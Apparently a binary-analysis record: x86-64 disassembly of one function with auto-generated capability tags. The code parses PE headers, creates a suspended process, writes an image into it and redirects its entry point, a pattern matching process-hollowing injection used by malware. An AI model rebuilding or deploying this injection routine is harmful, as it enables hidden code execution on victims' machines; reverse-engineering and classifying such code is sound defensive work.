Function at 0x140065150
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe8]
sub rsp, 0x1b0
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rbx, r8
mov r15, rdx
mov r12, rcx
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
or rsi, 0xffffffffffffffff
mov dword [rbp - 0x68], esi
lea rcx, [rbp - 0x68]
call fcn.140061710
mov edi, eax
xor r14b, r14b
movzx r13d, byte [rbp + 0x128]
test r13b, r13b
je 0x140065377
call fcn.1400634e0
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x1400651dd
mov ecx, 0x80004005
call fcn.140008ab0
int3
mov rax, qword [rcx]
call qword [rax + SafeArrayCopy]
add rax, 0x18
mov qword [rbp - 0x60], rax
movzx r9d, byte [rbp + 0x120]
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x60]
mov ecx, edi
call fcn.140066040
mov rbx, qword [rbp - 0x60]
test al, al
je 0x1400652f3
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400652f3
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
call fcn.1400af690
test eax, eax
je 0x1400652ac
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.1400aef60
test eax, eax
je 0x140065262
mov r14b, 1
jmp 0x14006534c
lea rcx, [rbp - 0x1c]
call fcn.140036ea0
mov rdx, rax
test rax, rax
je 0x14006527f
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140065276
mov r8d, eax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x1c]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x18]
mov ecx, 6
rep stosb byte [rdi], al
jmp 0x14006534c
lea rcx, [rbp - 0x58]
call fcn.140036a00
mov rdx, rax
test rax, rax
je 0x1400652c9
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x1400652c0
mov r8d, eax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x58]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x54]
mov ecx, 6
rep stosb byte [rdi], al
jmp 0x14006534c
lea rcx, [rbp - 8]
call fcn.140035f90
mov rdx, rax
test rax, rax
je 0x140065310
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140065307
mov r8d, eax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 8]
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rdi, [rbp - 4]
mov ecx, 8
rep stosb byte [rdi], al
mov r8d, dword [rbx - 0x10]
mov rdx, rbx
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140065364
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test r14b, r14b
jne 0x140065370
xor al, al
jmp 0x14006581b
mov rbx, qword [rbp + 0x100]
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x140065795
movsxd r14, dword [r12 + 0x3c]
add r14, r12
cmp dword [r14], 0x4550
jne 0x140065754
lea rdx, [rbp + 0x128]
mov rcx, r15
call fcn.1400afa60
movzx ecx, word [r14 + 4]
mov edx, 0x14c
mov eax, dword [rbp + 0x128]
cmp cx, dx
jne 0x1400653c4
test eax, eax
jne 0x140065369
mov edx, 0x8664
cmp cx, dx
jne 0x1400653d3
cmp eax, 6
jne 0x140065369
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x40]
call fcn.1400ce520
mov dword [rbp + 0x40], 0x68
mov dword [rbp + 0x7c], 0x101
xor eax, eax
mov word [rbp + 0x80], ax
lea rax, [rsp + 0x68]
xor r9d, r9d
test r13b, r13b
je 0x140065459
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
xor r13d, r13d
mov qword [rsp + 0x40], r13
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r8, rbx
mov rdx, r15
mov rcx, qword [rbp - 0x80]
call fcn.1400af2f0
jmp 0x14006548f
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
xor r13d, r13d
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r13d
xor r8d, r8d
mov rdx, rbx
mov rcx, r15
call fcn.1400af1e0
test eax, eax
je 0x14006570f
mov ebx, 4
mov r9d, ebx
lea edx, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
call fcn.1400b38f0
mov r15, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.1400b00e0
test eax, eax
je 0x1400656c9
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
lea r9d, [rbx + 4]
lea r8, [rbp - 0x10]
mov rcx, qword [rsp + 0x68]
call fcn.1400b2050
mov eax, dword [rbp - 0x10]
cmp rax, qword [r14 + 0x30]
jne 0x14006553e
lea rcx, [rbp + 0x1a]
call fcn.1400428b0
mov rdx, rax
test rax, rax
jne 0x14006550f
mov eax, r13d
jmp 0x14006551b
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140065512
mov r8d, eax
mov rcx, qword [rbp + 0x110]
call fcn.1400087f0
nop
lea rdi, [rbp + 0x1a]
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
lea rdi, [rbp + 0x22]
jmp 0x140065581
lea rcx, [rbp + 4]
call fcn.1400421c0
mov rdx, rax
test rax, rax
jne 0x140065554
mov eax, r13d
jmp 0x140065560
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140065557
mov r8d, eax
mov rcx, qword [rbp + 0x110]
call fcn.1400087f0
nop
lea rdi, [rbp + 4]
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
lea rdi, [rbp + 0xc]
mov ecx, 0xe
rep stosb byte [rdi], al
mov eax, 0x40
cmp byte [rbp + 0x118], 0
cmovne ebx, eax
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x68]
call fcn.1400b39b0
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140065671
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r13
mov r8, r12
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.1400b3fc0
movzx eax, word [r14 + 0x14]
mov ebx, r13d
cmp r13w, word [r14 + 6]
jae 0x14006561f
lea rdi, [r14 + 0x2c]
add rdi, rax
nop dword [rax]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r12
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x70]
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x68]
call fcn.1400b3fc0
add rdi, 0x28
inc ebx
movzx eax, word [r14 + 6]
cmp ebx, eax
jl 0x1400655f0
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.1400b3fc0
mov eax, dword [r14 + 0x28]
add rax, qword [rbp - 0x70]
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rsp + 0x70]
call fcn.1400b32e0
mov rcx, qword [rsp + 0x70]
call fcn.1400b2990
mov dil, 1
jmp 0x1400657de
lea rcx, [rbp - 0x26]
call fcn.1400385a0
test rax, rax
jne 0x140065684
mov esi, r13d
jmp 0x14006568d
inc rsi
cmp byte [rax + rsi], 0
jne 0x140065684
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x26]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x22]
mov ecx, 6
rep stosb byte [rdi], al
xor edx, edx
mov rcx, qword [rsp + 0x68]
call fcn.1400b3590
jmp 0x1400657db
lea rcx, [rbp - 0x3a]
call fcn.140038100
test rax, rax
jne 0x1400656e0
mov esi, r13d
jmp 0x1400656e9
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400656e0
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x3a]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x36]
jmp 0x1400656b1
lea rcx, [rbp - 0x30]
call fcn.140037c60
test rax, rax
jne 0x140065722
mov esi, r13d
jmp 0x14006572b
inc rsi
cmp byte [rax + rsi], 0
jne 0x140065722
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x30]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x2c]
jmp 0x1400657d4
lea rcx, [rbp - 0x4e]
call fcn.1400377c0
test rax, rax
jne 0x140065766
xor esi, esi
jmp 0x14006576f
inc rsi
cmp byte [rax + rsi], 0
jne 0x140065766
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x4e]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x4a]
jmp 0x1400657d4
lea rcx, [rbp - 0x44]
call fcn.140037330
test rax, rax
jne 0x1400657a7
xor esi, esi
jmp 0x1400657b0
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400657a7
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x108]
call fcn.1400087f0
nop
lea rdi, [rbp - 0x44]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x40]
mov ecx, 6
rep stosb byte [rdi], al
xor dil, dil
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400657f4
call fcn.1400af5d0
xor ebx, ebx
mov qword [rbp - 0x78], rbx
jmp 0x1400657f6
xor ebx, ebx
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140065808
call fcn.1400aeaf0
mov qword [rbp - 0x80], rbx
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140065817
call fcn.1400aeaf0
movzx eax, dil
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret